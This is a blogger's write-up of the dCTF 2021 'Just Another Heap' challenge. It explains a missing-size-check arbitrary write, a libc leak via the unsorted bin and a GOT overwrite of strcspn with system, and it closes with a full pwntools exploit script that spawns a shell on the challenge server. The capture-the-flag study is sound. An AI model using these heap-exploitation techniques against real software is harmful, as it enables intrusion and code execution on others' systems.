home..

2021 dctf write-up

Tasks

Just Another Heap (500pts)

I couldn’t solve this one prob in time, but I want to post this solving skills. It’s hard to find, but when I found it, It’s very simple Arbitrary Write.

1.png

create() has a role that makes malloc_frame(0x20) and malloc_userinput(size). The point is, this prob has a unique fading input with this part.

puts("How long is your memory");
input_lu(&size);                          // no size check
malloc_user = malloc(size);               // size > 0x308 / forget -> unsorted bin
puts("Sometimes our memories fade and we only remember parts of them.");
input_lu(&fade);                          // no filter
puts("Would you like to leave some space at the beginning in case you remember later?");
if ( fade <= size )
{
  if ( malloc_user )
  {
    for ( i = 0; i < fade; ++i )
      malloc_user[i] = '_';
  }
  malloc_user += fade;

memories will be faded fade bytes with _, and user input is behind the _ strings if malloc_user is NOT 0. So, if malloc(size) returns 0, I can overwrite anywhere.

Exploit

First, set chunks that size>0x408 between 2 small chunks to leak libc from main_arena+xx.

And make 1 tcache and 0x410 unsorted bin. Now main_arena+xx has written in unsorted bin.

and if I rewrite and use change() to fill fade bytes and get libc addr with relive() function.

Finally, Use This mentioned skills to do GOT Overwriting.

memories will be faded fade bytes with _, and user input is behind the _ strings if malloc_user is NOT 0. So, if malloc(size) returns 0, I can overwrite anywhere.

input /bin/sh\x00 in malloc_frame[] and program will call strcspn(addr,'\n'). Get The Shell.

Code

Here is the Exploit Code.

from pwn import *

context.log_level='debug'

def create(idx, name, size, hide, cont, important, recent):
  p.recv()
  p.sendline(str(1))
  p.recv()
  p.sendline(str(idx))
  p.recv()
  p.sendline(name)
  p.recv()
  p.sendline(str(size))
  p.recv()
  p.sendline(str(hide))
  p.recv()
  p.sendline(cont)
  p.recv()
  p.sendline(important)
  p.recv()
  p.sendline(recent)

def relive(idx):
  p.recv()
  p.sendline(str(2))
  p.recv()
  p.sendline(str(idx))

def change(idx, cont):
  p.recv()
  p.sendline(str(4))
  p.recv()
  p.sendline(str(idx))
  p.recv()
  p.sendline("Y")
  p.recv()
  p.send(cont)

def forget(idx):
  p.recv()
  p.sendline(str(3))
  p.recv()
  p.sendline(str(idx))

def listing():
  p.recv()
  p.sendline(str(5))

p=remote("dctf-chall-just-another-heap.westeurope.azurecontainer.io", 7481)
#p=process("./just_another_heap")
e=ELF("./just_another_heap")
l=e.libc

create(0, "A"*8, 0x20, 0, "1234", "N", "N")
create(1, "B"*8, 0x410, 0, "1234", "N", "N")
create(2, "A"*8, 0x20, 0, "1234", "N", "N")
forget(0)
forget(1)
#pause()
create(3, "B"*8, 0x410, 6, "", "N", "N")
#pause()
change(3,"A"*8)
relive(3)

p.recvuntil("A"*7+" ")
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x3ebca0

print hex(libc_base)

create(4, "C"*8, libc_base, e.got['strcspn'], p64(libc_base+l.sym['system']), "N", "N")
pause()
p.recv()
p.sendline(str(1))
p.recv()
p.sendline("//bin/sh\x00")
p.interactive()



© 2024 Ainsetin   •  Powered by Soopr   •  Theme  Moonwalk